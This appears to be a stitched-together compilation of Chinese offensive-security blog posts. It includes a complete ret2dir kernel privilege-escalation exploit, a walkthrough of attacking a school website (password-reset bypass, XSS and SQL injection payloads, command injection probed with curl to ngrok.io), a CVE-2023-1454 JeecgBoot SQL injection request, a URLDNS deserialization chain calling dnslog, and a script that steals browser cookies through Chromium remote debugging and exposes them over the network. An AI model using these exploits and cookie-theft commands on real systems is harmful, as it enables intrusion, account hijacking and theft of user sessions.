kernel-pwn之ret2dir利用技巧
前言
ret2dir是2014年在USENIX发表的一篇论文,该论文提出针对ret2usr提出的SMEP、SMAP等保护的绕过。全称为return-to-direct-mapped memory,返回直接映射的内存。
ret2dir
在SMEP与SMAP等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是ret2usr,如下图所示(图片来自论文)。首先是在内核中找到可以控制指针的漏洞,修改指针使其指向为用户空间,因此在用户空间布置恶意的数据或者代码,完成漏洞的利用。但是当SMEP与SMAP保护的出现,在内核态下,不能够执行或者访问用户空间的代码或者数据,导致了该利用方式失效,因为即使在用户空间中部署了payload,在内核态下也无法访问。因此这种通过显示数据的共享方式已经不再适用了。
所以作者提出了一种思路,能否在内核空间中也能够访问到用户空间的数据。作者最终找到了一段区域,可以隐式的访问用户空间的数据。在内核中存在这部分区域direct mapping of all physical memory,物理地址直接映射区。
这个映射区其实就是内核空间会与物理地址空间进行线性的映射,我们可以在这段区域直接访问到物理地址对应的内容。
那么作者就提出了一种攻击场景,由于在虚地址中的内容最终都会映射到物理地址上,若能将用户空间的数据同样映射到这段区域上,岂不是就可以在内核空间也可以访问到用户空间的数据了。该段区域也被称之为phsymap,它是一段大的,连续的虚拟内存区域,它包含了部分或全部的物理内存的直接映射。下图这种情况作者也称之为是虚拟地址别名的情况,因为在用户空间与内核空间中都存在一个地址可以访问payload。
最终作者构想的攻击场景如下图所示(图片来自论文),不同于ret2usr,指针不再被修改为指向用户空间,而是指向了物理地址的直接映射区,由于该映射区指向物理地址,而在用户空间构造的payload也会映射到物理地址,因此若能获得指向存在payload的用户空间对应的物理地址在phsymap位置,就能够直接执行用户空间的payload。
想要获得映射地址有以下方法
(1)通过读取/proc/pid/pagemap获取,该文件中存放了物理地址与虚拟地址的映射关系,可是该文件需要root权限才能读取。
(2)通过大量覆盖phsymap内存的方法,提高命中率。使用堆喷技术,在该内存区填充大量的payload这样既不会影响payload的执行,又能够提高命中payload的可能性,填充效果如下图
在旧版本的内核中phsymap是具有可执行权限的,因此可以在用户空间中填充shellcode,但是如今的内核版本phsymap已经不具备可执行权限了,因此只能在里面填充ROP链
miniLCTF_2022-kgadget
题目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022
kgadget_ioctl
在kgadget_ioctl中,当我们输入的操作码为0x1BF52时,会将rdx寄存器中的值进行解引用,并且以函数的方式调用该地址,这就导致了任意地址执行。
run.sh
题目提供的run.sh开启了smep与smap的保护,但是没有开启地址随机化KASLR。因此虽然我们可以控制内核执行任意的地址,但是由于题目开启了smep与smap,因此该地址值不能选择为用户空间的地址。
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio.gz \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot \
-s
ret2dir利用流程
首先是如何执行我们指定的地址值的,可以看到实际是将我们传入的地址,解引用后存放到rbx寄存器,结果通过将rbx寄存器的值移动到栈顶,从而修改栈顶的值,接着调用ret指令,使得执行被解引用的值。
想要使得内核提权,需要执行commit(prepare_kernel_cred(0),接着通过swapgs和ret指令的组合。因此需要找到一段内存,将该流程的ROP链填充进去。这是因为kgadget_ioctl并不是执行我们传入进去的地址,而是需要将该地址先解引用后再执行,相当于需要执行传入地址对应的内容。因此若我们直接将commit函数的地址传入进去,它会执行commit函数指向的内容。
那么这段区域需要选取在哪里,若我们直接再用户空间中构造这段payload,接着将用户空间地址传递给ioctl是不可行的,因为内核开启了smap与smep的保护,因此对用户空间的访问都是不被允许的。
因此需要用到ret2dir的技巧,由于用户空间的虚拟地址同样会映射到物理地址,而在内核空间存在一段内存被称之为phsymap,它存放着物理地址的内容,因此我们在用户空间填充的内容,可以在phsymap找到。但是这段内存十分庞大,有64TB的大小,我们怎么才能确保搜索到存放我们payload的地址呢?答案就是尽可能的填充,使得我们用户空间的payload尽可能的大,那么我们搜索到的几率也会增大。
我们以页(4096)为单位开辟内存,并且循环了0x4000次,
void copy_dir()
{
char *payload;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
for (int i = 0; i < 4096; i++)
payload[i] = 'z';
}
...
int main()
{
...
for(int i = 0; i < 0x4000; i++)
copy_dir();
}
可以发现,在用户空间写入的z值,我们在内核空间同样可以访问到。当然写入的次数以及字节数是可以自己人为调整的,可以频繁尝试,尽可能的大的填充,这样我们找到的几率也更大。
当然有时候页的大小页不一定是4096,因此可以使用getconf PAGESIZE获得页的大小
因此我们已经找到能够访问到用户空间payload的内核地址值,接着需要将内核栈的空间迁移到phsymap上,这是因为用原来的内核栈无法使得连续gadget之间的调用。这里修改为测试gadget,用于测试不做栈迁移会发生什么。
unsigned long *payload;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret;
payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;
可以看到执行一次pop rdi; ret,这是因为ret指令会将当前栈顶的值弹出栈,而我们输入的值不再栈上,而是在phsymap上。因此当我们输入的ROP链不再栈上时,就需要使用栈迁移。
由于内核中存在着需要改变rsp寄存器的gadget,只要使用add rsp, xxx; ret即可完成栈迁移。因此需要在栈上填入phsymap的地址,使得经过add rsp, xxx后能够使得rsp指向phsymap。为了使得栈上能够存储phsymap的地址,这里需要借助一个结构体pt_regs。
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
可以看到这个结构体存放了一系列的寄存器,这是因为在进行系统调用时,会完成从用户态到内核态的切换,因此需要保存用户态时的上下文寄存器,而这些寄存器的值都需要保存在pt_regs中。使用下述代码测试上述pt_regs结构体存放的位置。
target = 0xffff888000000000 + 0x6000000;
__asm(
".intel_syntax noprefix;"
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"syscall;"
".att_syntax;"
);
可以看到我们在执行系统调用之前的参数,都会以pt_regs结构体中的顺序进行存放,这里需要注意的是r11寄存器用来存放了rflags的值。
不过出题者在会对pt_regs结构体中的部分寄存器的值进行修改。
最后只剩下r8与r9寄存器是可控的。但是只是用两个寄存器的值就足于完成栈迁移的操作了。
这里可以计算一下栈顶到r9寄存器的距离0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8,因此找到add rsp 0xc0的寄存器即可,因为ret指令还会进行一次弹栈操作。这里一开始是使用extract-image.sh进行提取,但是会报错。因此改用vmlinux-to-elf,这个工具提取出的符号比较全。工具的地址为https://github.com/marin-m/vmlinux-to-elf
提取出来就可以愉快的获取gadget。由于没找到add 0xc8的gadget,因此找了个平替的。再结合pop rsp; ret 指令即可完成栈迁移的操作。
add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
pop rsp; ret;
接着需要考虑堆喷的填充大量内存,因为题目没有开启地址随机化,因此即使不使用堆喷,也能够定位到具体的地址,但是实际情况是该地址可以随机,因此需要确保落入到其他地址也能完成利用。由于第一条指令必须是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;,因为需要进行栈迁移。因此在一页的内存中,因使用尽量多的该指令进行填充,确保栈迁移的正常执行。
由于完成提权的payload需要0x58的大小,而该指令会将rsp抬高0xc0,因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd,因此这里循环复制该指令0x1dd次,接着将剩余空间使用ret指令(常用的堆喷的指令)填充(这里使用了xor esi , esi; ret,因为异或操作不影响。)
for (int i = 0; i < 0x1dd; i++)
payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
for (int i = 0; i < 24; i++)
payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
最后是在提权时没找到合适gadget将prepare_kernel_cred的返回值即rax寄存器的值,移动到rdi寄存器中。因此学了下出题者的wp,发现出题者使用了init_cred结构体作为commit_creds函数的参数。
init_cred 是 Linux 内核中的一个结构体,用于表示进程的初始凭证。它包含了与进程相关的安全属性和权限信息。,init_cred 结构体通常用于表示初始的 root 凭证。因此只需要借助一个pop rdi;ret的gadget加上init_cred结构体的地址就可以完成root凭证的初始化了。
exp
最后完整的exp如下
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#define COLOR_NONE "\033[0m" //表示清除前面设置的格式
#define RED "\033[1;31;40m" //40表示背景色为黑色, 1 表示高亮
#define BLUE "\033[1;34;40m"
#define GREEN "\033[1;32;40m"
#define YELLOW "\033[1;33;40m"
/*
0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
0xffffffff810c92e0: T commit_creds
0xffffffff810c9540: T prepare_kernel_cred
0xffffffff81224afc: xor esi, esi; ret;
0xffffffff8108c6f0: pop rdi; ret;
0xffffffff82a6b700 D init_cred;
0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode
0xffffffff811483d0: pop rsp; ret;
*/
int fd;
unsigned long user_ss, user_cs, user_sp, user_rflags;
unsigned long target;
unsigned long target1;
void save_state();
void copy_dir();
void back_door();
void back_door()
{
printf(RED"getshell");
system("/bin/sh");
}
void copy_dir()
{
unsigned long *payload;
unsigned int index = 0;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
for (int i = 0; i < 0x1dd; i++)
payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
for (int i = 0; i < 24; i++)
payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
payload[index++] = 0xffffffff8108c6f0; // pop rdi ret
payload[index++] = 0xffffffff82a6b700; //init_cred
payload[index++] = 0xffffffff810c92e0; //commit_creds
payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)back_door;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
}
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_ss, ss;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
printf(RED"[*]save state\n");
printf(BLUE"[+]user_ss:0x%lx\n", user_ss);
printf(BLUE"[+]user_cs:0x%lx\n", user_cs);
printf(BLUE"[+]user_cs:0x%lx\n", user_sp);
printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags);
printf(RED"[*]save finish\n");
}
int main()
{
save_state();
fd = open("/dev/kgadget", O_RDWR);
/*
for(int i = 0; i < 0x4000; i++)
copy_dir();
*/
target = 0xffff888000000000 + 0x6000000;
__asm(
".intel_syntax noprefix;"
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, 0xffffffff811483d0;"
"mov r8, target;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"syscall;"
".att_syntax;"
);
}
从密码重置打到Getshell和其它漏洞打包
前言
前几天是准备上点edusrc的分的所以就准备用手上还没刷的Nday继续上分,然后就有了今天这个案例:
信息收集
之前在挖某体育学院证书的时候就挖到过一个通过修改html文件更改密码修改步骤的漏洞
所以就准备测绘一下这个资产继续看看能不能上分
挑一个打开:
没有背景图了但还是同资产,因为在测试某体育学院的时候是有账户的,所以直接输入那个账户就能进行下一步操作了,但是这个资产无账户,所以我打算去在搜集一下学号之类的
学号这块都是一无所获,然后正准备想其它切入点的时候就突然发现
这块的要求是输入学号后5位,而学号通常是有规律的,所以就去生成字典FUZZ了一下
Python输出从00000~99999字典的程序为:
dictionary = {}
for i in range(100000):
key = str(i).zfill(5)
value = \"Value \" + key
dictionary\[key\] = value
with open(\'dict.txt\', \'w\') as file:
for key, value in dictionary.items():
file.write(key + \'\\n\')
载入字典后还要设置下时间
最后成功拿到几个账户
EDUSRC不收爆破类漏洞所以这个学号不能算是漏洞,但最后学号总归是出来了
随后直接输入FUZZ出的5位学号把
https://1.test.edu.cn/passworf/find1_html后的find1_html改为find2_html
直接输入我们要重置的密码更改成功后去登录后台:
持续浏览功能点寻找突破点:
发现一个活动添加点
不存在上传点但是存在描述功能,直接构造xss的payload试试:
<Script>alert("1)</Script>
存储XSS+1
此处的payload:<Script>alert("1)</Script>
采用大小写绕过
随后又发现一个信息上传点:
这几块点是透明没开bp,然后就打算开BP看看能不能拿到些什么突破口
点击这块的【添加简历信息】下面的标题处的第一个点
发现是个信息编辑界面但它这块是跳出个小窗口的所以前面没怎么注意到开了BP抓包时才发现这块点:
点击右侧的修改抓包后:
发现id值,直接单引号闭合查看:
浏览器端:
发现执行了sql语句
且发现是GET请求:
所以把这块的路径拉到浏览器直接访问
这样就不用担心防sqlmap表单了,且不用打包数据包更快捷了
Sqlmap成功跑出数据!
Sql注入+1
随后继续到【会员注册】处
直接在搜索处单引号闭合:
成功执行查询语句
F12调出网络又发现也是GET请求方式,复制请求URL直接查看回显
直接sqlmap跑
Sql注入+2
然后点击右上角【管理员】三个字
一开始没发现这三个字还能点击,点击后发现到了信息上传点:
这块可以上传文件先上传个php试试
提示只能上传上面列出的文件类型,正要准备想其它办法绕过的时候突然发现这块允许上传的文件类型中包括pdf,所以直接上传一个pdf-xss试试:
成功上传然后浏览器访问试试:
但浏览器提示没有文件,然后仔细看了一下文件上传回显:
这里的uploadfile/16893293978.pdf的路径是跟在了?value=参数后面的然后这块参数给完后还在后面又跟了个参数:
?file=url=uploadfile/16893293978.pdf,再回到请求包中的参数:
发现此处的有个&field=url的参数尝试把参数改成1
浏览器回显不存在"1",所以这块就明了的,参数&field=后面应该接的参数是文件上传后的路径,因为我们这块输入1,不存在1这个文件所以回显NotFound ,明了了这块所以我们那文件试试:
放包:
成功触发XSS
存储xss+2
但是这块的任务是getshell所以还是继续尝试文件上传
修改MIME信息且php5分段绕过但还是提示不能上传,传了图片马但是不能解析
这块上传应该是写死了,所以继续找其它突破口,查看参数发现存在"filename"
问题参数啊,迅速添加延时命令试试:
`sleep 7`
回显处成功延时:
命令执行成功!进一步探测:
Curl命令探测ngrok.io
成功回显!
命令执行+1,最后相对应的用命令获取shell就行
总结
整体难度适中只不过这次测试后台功能点有点多需要仔细观察测试,后台的信息收集做好了Getshell难度瞬间就变小了。
CVE-2023-1454注入分析复现
简介
JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。
影响版本
Jeecg-Boot<=3.5.1
环境搭建
idea+
后端源码:
https://github.com/jeecgboot/jeecg-boot/archive/refs/tags/v3.5.0.zip前端源码:
https://github.com/jeecgboot/jeecgboot-vue3/archive/refs/tags/v3.5.0.zip安装npm,安装nodejs
https://nodejs.org/dist/v18.16.1/node-v18.16.1-x64.msi安装yarn
npm install -g yarn
下载依赖
yarn install
yarn run serve //起服务
由于是前后端分离,需要数据库导入表,使用navicat直接导入即可
后端服务端搭建,使用idea搭建导入项目,修改数据库配置
配置server端npm服务
配置好之后直接启动,访问
http://localhost:3100/login搭建成功
漏洞复现
前后端分离,后端端口8080 ,Payload:
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 128
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
分析
漏洞产生点位于积木报表插件内,查看更新的3.5.1的版本更新
更改了72处的文件,其中需要注意db/其他数据库/jeecgboot-sqlserver2019.sql中重写了数据插入的方法
jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java中增加了对sql语句的正则
这个修复是针对于后端的SQL注入,/sys/duplicate/check
目前最新更新的3.5.1版本似乎依旧没有针对积木报表注入点儿的加固措施,修复时更换jar包
目前积木官方的jar包已升级。
关注积木5月份的升级日志
http://jimureport.com/doc/log小结
github上有师傅们的脚本,但是如果要批量使用的话建议在修改一下response的内容,仅仅只有操作失败的报错的话会存在大批量的报错。
所有自定义的if判断的回显都建议修改一下,如有错误欢迎指出。
Java反序列化:URLDNS的反序列化调试分析
URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。
笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。
一. Java反序列化前置知识
Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节序列。
Java原生链反序列化:利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。
测试源码如下,此部分源码参考了ol4three师傅的博客:
package serialize;
import java.io.*;
public class deserTest implements Serializable {
private int n;
public deserTest(int n) {
this.n=n;
}
@Override
public String toString() {
return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
+ super.toString() + "]";
}
// 反序列化
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
System.out.println("test");
}
public static void main(String[] args) {
deserTest x = new deserTest(5);
operation1.ser(x);
operation1.deser();
x.toString();
}
}
// 实现序列化和反序列化具体细节的类
class operation1{
// 将输出字节流写入文件中进行封存
public static void ser(Object obj) {
// 序列化操作,写操作
try {
// 首先文件落地object.obj存储输出流,绑定输出流
ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
// 重定向将输出流字节写入文件
ooStream.writeObject(obj);
ooStream.flush();
ooStream.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
}
}
public static void deser() {
// 反序列化,读取操作
try {
// 绑定输入流
ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
// 反序列化时需要从相关的文件容器中读取输出的字节流
// 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
Object xObject = iiStream.readObject();
iiStream.close();
} catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
二. ysoserial环境搭建
IDE就直接用JetBrains的IDEA就行
直接拿Java安全payload集成化工具ysoserial进行分析,这里面已经有现成的环境了
https://github.com/frohoff/ysoserial注意配置好相应的JDK和SDK版本:
三. URLDNS攻击链
影响的版本问题:与JDK版本无关,其攻击链实现依赖于Java内置类,与第三方库无关
URLDNS这条反序列化链只能发起DNS请求,无法进行其他利用,可以作为验证是否有反序列化漏洞的姿势
调试分析
Gadget Chain:
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
在getHostAddress函数中进行域名解析,从而可以被DNSLog平台捕获
URLDNS程序入口
在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路径下有URLDNS.java文件
main主函数的run函数打断点进入
这个ysoserial-master的payload运行结构大致是有一个专门的PayloadRunner运行程序,然后统一调用来运行各部分的payload
首先是进行序列化:
继续往下,生成command,由于是分析URLDNS攻击链,所以只需要修改将返回值为dnslog的临时地址
创建实例后,进入到URLDNS的getObject的payload函数
getObject函数中应该注意的是:声明了HashMap对象和URL对象,并进行put哈希绑定,最后设置作用域
反序列化链子:
在反序列化入口处打断点:
在反序列化时调用了readObject函数
然后进入HashMap.java的readObject函数
在readObject中调试到此行,了putval,在此处IDEA这个IDE可以选择进入的函数,直接进入后者hash
由于我们读入字节序列,需要将其恢复成相应的对象结构,那么就需要重新putval
传入的key不为空,执行key.hashCode
进一步在URL.java文件下
进入URLStreamHandler的hashCode
产生解析:
总的来说,利用链思路如下:
在反序列化URLDNS对象时,也需要反序列化HashMap对象,从而调用了HashMap.readObject()的重写函数,重写函数中调用了哈希表putval等的相关重构函数,在hashcode下调用了getHostAddress函数
那么反之,为什么首次声明的时候没有调用到了getHostAddress函数,现在给出声明时的函数路线:
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
该函数为空实现
列出几个路线上的关键函数看看:
由于此处key为String类型,则进入String.hashCode
相比之下,在反序列化中key为URL类型
设置了不发起dns解析
具体执行流,可以看下时序图,我就不讲了^^
四. URLDNS链的使用
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class Main{
// 序列化前不发生dns解析
static class SilentURLStreamHandler extends URLStreamHandler{
protected URLConnection openConnection(URL n) throws IOException{
return null;
}
protected synchronized InetAddress getHostAddress(URL n)
{
return null;
}
}
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
// 设置put时不发起dns解析
URLStreamHandler handler = new Main.SilentURLStreamHandler();
URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
// 利用Java反射机制在动态执行时获取类
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url, "123");
f.set(url, -1);
// 对象输出流绑定文件输出流
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap); // 序列化
// 对象输入流绑定文件输入流
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); // 反序列化
}
}
利用远程调试获取Chromium内核浏览器Cookie
前言
本文将介绍不依靠DPAPI的方式获取Chromium内核浏览器Cookie
远程调试
首先我们以edge为例。edge浏览器是基于Chromium的,而Chromium是可以开启远程调试的,开启远程调试的官方文档如下:
https://blog.chromium.org/2011/05/remote-debugging-with-chrome-developer.htmlchrome.exe --remote-debugging-port=9222 --user-data-dir=remote-profile
那么开启远程调试以后可以做什么呢,继续看官方文档:
https://chromedevtools.github.io/devtools-protocol/tot/Storage/上述官方文档是Chrome开发者工具协议文档,里面提到如果需要实施调试、分析Chrome需要开启其远程调试:
并且告知开启后还提供了json等接口和各种API的使用:
既然edge是基于Chromium的,那么edge应该也是可以开启远程调试的。尝试使用Chrome开启远程调试的命令开启edge的远程调试:
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222
经测试是可以的,但是前提是必须没有msedge进程在启动着,否则上述命令虽然会启动edge进程,但是并不会开启远程调试端口。停止命令:
Get-Process msedge | Stop-Process
获取Cookie
首先看Chrome开发者工具协议能否获取浏览器密码啥的,文档没有:
也是,大家平常F12调出开发者工具,也是没有获取浏览器密码方式的。
继续搜下Cookie,可以看到有个Network.getAllCookies,但是文档中提到已经弃用了,改用了Storage.getCookies:
那尝试使用Storage.getCookies是否可以获取Cookie呢。开启远程调试后,获取websocket地址:
然后尝试使用python的websocket-client模块发送接收数据时,发现提示403:
根据提示看起来是CORS的问题,且给出了解决方案:
--remote-allow-origins=*
添加以后发送如下数据包就可以成功获取Cookie:
{"id": 1, "method": "Storage.getCookies"}
为了方便远程访问其websocket接口,可以把远程调试端口映射出来:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
这样就可以远程访问目标的远程调试端口:
编写代码
Github有个自动开启远程调试端口和获取Cookie的仓库:
https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py其中代码有几个问题,其一没解决CORS的问题,其二使用了可能弃用的Network.getAllCookies,其三开启远程调试端口可以不用依赖python,可以使用cmd命令,最终修改的代码如下:
import json
import requests
import websocket
GET_ALL_COOKIES_REQUEST = json.dumps({"id": 1, "method": "Storage.getCookies"})
def hit_that_secret_json_path_like_its_1997():
response = requests.get("http://10.211.55.8:48333/json")
websocket_url = response.json()[0].get("webSocketDebuggerUrl")
return websocket_url
def gimme_those_cookies(ws_url):
ws = websocket.create_connection(ws_url)
ws.send(GET_ALL_COOKIES_REQUEST)
result = ws.recv()
ws.close()
response = json.loads(result)
cookies = response["result"]["cookies"]
return cookies
ws_url = hit_that_secret_json_path_like_its_1997()
print(ws_url)
cookies = gimme_those_cookies(ws_url)
print(cookies)
这样就可以达到在目标机器上开启远程调试端口并获取Cookie。为了防止开启的浏览器被用户发现,可以使用无头参数-headless,但是存在一个缺点,后面再讲。且为了防止/json接口返回空的情况,建议让浏览器启动时打开一个网站,因此最终完整命令如下:
# 关闭edge
Get-Process msedge | Stop-Process
# 启动远程调试
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* -headless
# 把远程调试端口映射出来
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
# 访问json接口获取websocket地址并获取Cookie
# 关闭端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333
实操
使用上述命令启动edge:
获取Cookie,发现只能获取到www.baidu.com的Cookie:
这就是上面提到的,使用无头参数-headless存在的一个缺点,只能获取到打开的网站的Cookie。因此如果想要获取指定目标网站的Cookie,要么重复上面的动作,要么取消无头参数-headless。笔者建议取消-headless参数,打开的浏览器用户也能正常使用,因此建议使用的命令如下:
# 关闭edge
Get-Process msedge | Stop-Process
# 启动远程调试
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=*
# 把远程调试端口映射出来
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
# 访问json接口获取websocket地址并获取Cookie
# 关闭端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333
获取到上述数据以后,如何使用呢,笔者提供如下代码,来完成满足Cookie格式要求的拼接:
def to_cookie_dict(data):
if 'www.chinabaiker.com' in data['domain']:
cookie_dict = {data['name']: data['value'], 'Domain': data['domain'], 'Path': data['path'], 'Expires': data['expires']}
print(cookie_dict)
return cookie_dict
data_list = [{}]
cookie_dict_list = [to_cookie_dict(data) for data in data_list]
# 遍历多个cookie字典,将每个字典中的key和value格式化为key=value的字符串
cookie_str_list = []
for cookie_dict in cookie_dict_list:
try:
for k, v in cookie_dict.items():
cookie_str_list.append('{}={}'.format(k, v))
except Exception as e:
print(e)
pass
# 使用;将多个key=value字符串连接在一起
cookie_str = ';'.join(cookie_str_list)
print(cookie_str)
因为获取到的Cookie比较多,在代码最开始做了个简单的过滤:
if 'www.chinabaiker.com' in data['domain']:
最终实现的效果如下:首先网站是非登录状态:
执行上述代码,获取Cookie:
然后放到burpsuite自动替换,笔者的替换规则如下:
最终成功完成Cookie的替换登录目标系统:
Chrome浏览器同理,就不花篇幅讲了:
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=*
总结
本文介绍了不依靠DPAPI的方式获取Chromium内核浏览器Cookie,可以尽可能的减少被拦截的情况下去获取浏览器Cookie。
Frida主动调用java函数来爆破解题思路
利用Frida去调用java代码中的类,然后爆破。算是一种主动调用的方法。主动调用可以用于爆破,模拟程序部分执行,需要注意的知识点是在java代码中的static类型数据在爆破过程中需要每次都对这种类型值重新设置。因为static类型在所有实例中都是统一,修改一个实例就会修改所有实例,需要用变量.属性.value = ...的写法重新设置值。
var bvar = b.$new(IntClass.$new(2));
for (...) {
bvar._static_val.value = ...;
}
背景知识
java类中静态值在爆破中需要修改
在java类中,一个属性如果是static的,不是说这个值不能改,而是说这个属性在程序中是唯一的,无论几个实例,只要改了其中一个实例中static的值,其他实例对应的值也会被改变。
在爆破过程中,如果需要爆破过程中不停new一个新的类实例,记得看看其中有没有static类型的变量。比如下面的这个例子
public class b {
public static ArrayList<Integer> a = new ArrayList<>();
static String b = "abcdefghijklmnopqrstuvwxyz";
static Integer d = 0;
Integer[] c = {8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13};
public b(Integer num) {
for (int intValue = num.intValue(); intValue < this.c.length; intValue++) {
a.add(this.c[intValue]);
}
for (int i = 0; i < num.intValue(); i++) {
a.add(this.c[i]);
}
}
...
每次new一个b类,比如b bVar = new b(2).如果要不停调用这个类,并且使用其中的方法,要注意其中的static变量会不会变。如果会变,那么在爆破过程中,需要new完实例后,修改static变量的值。
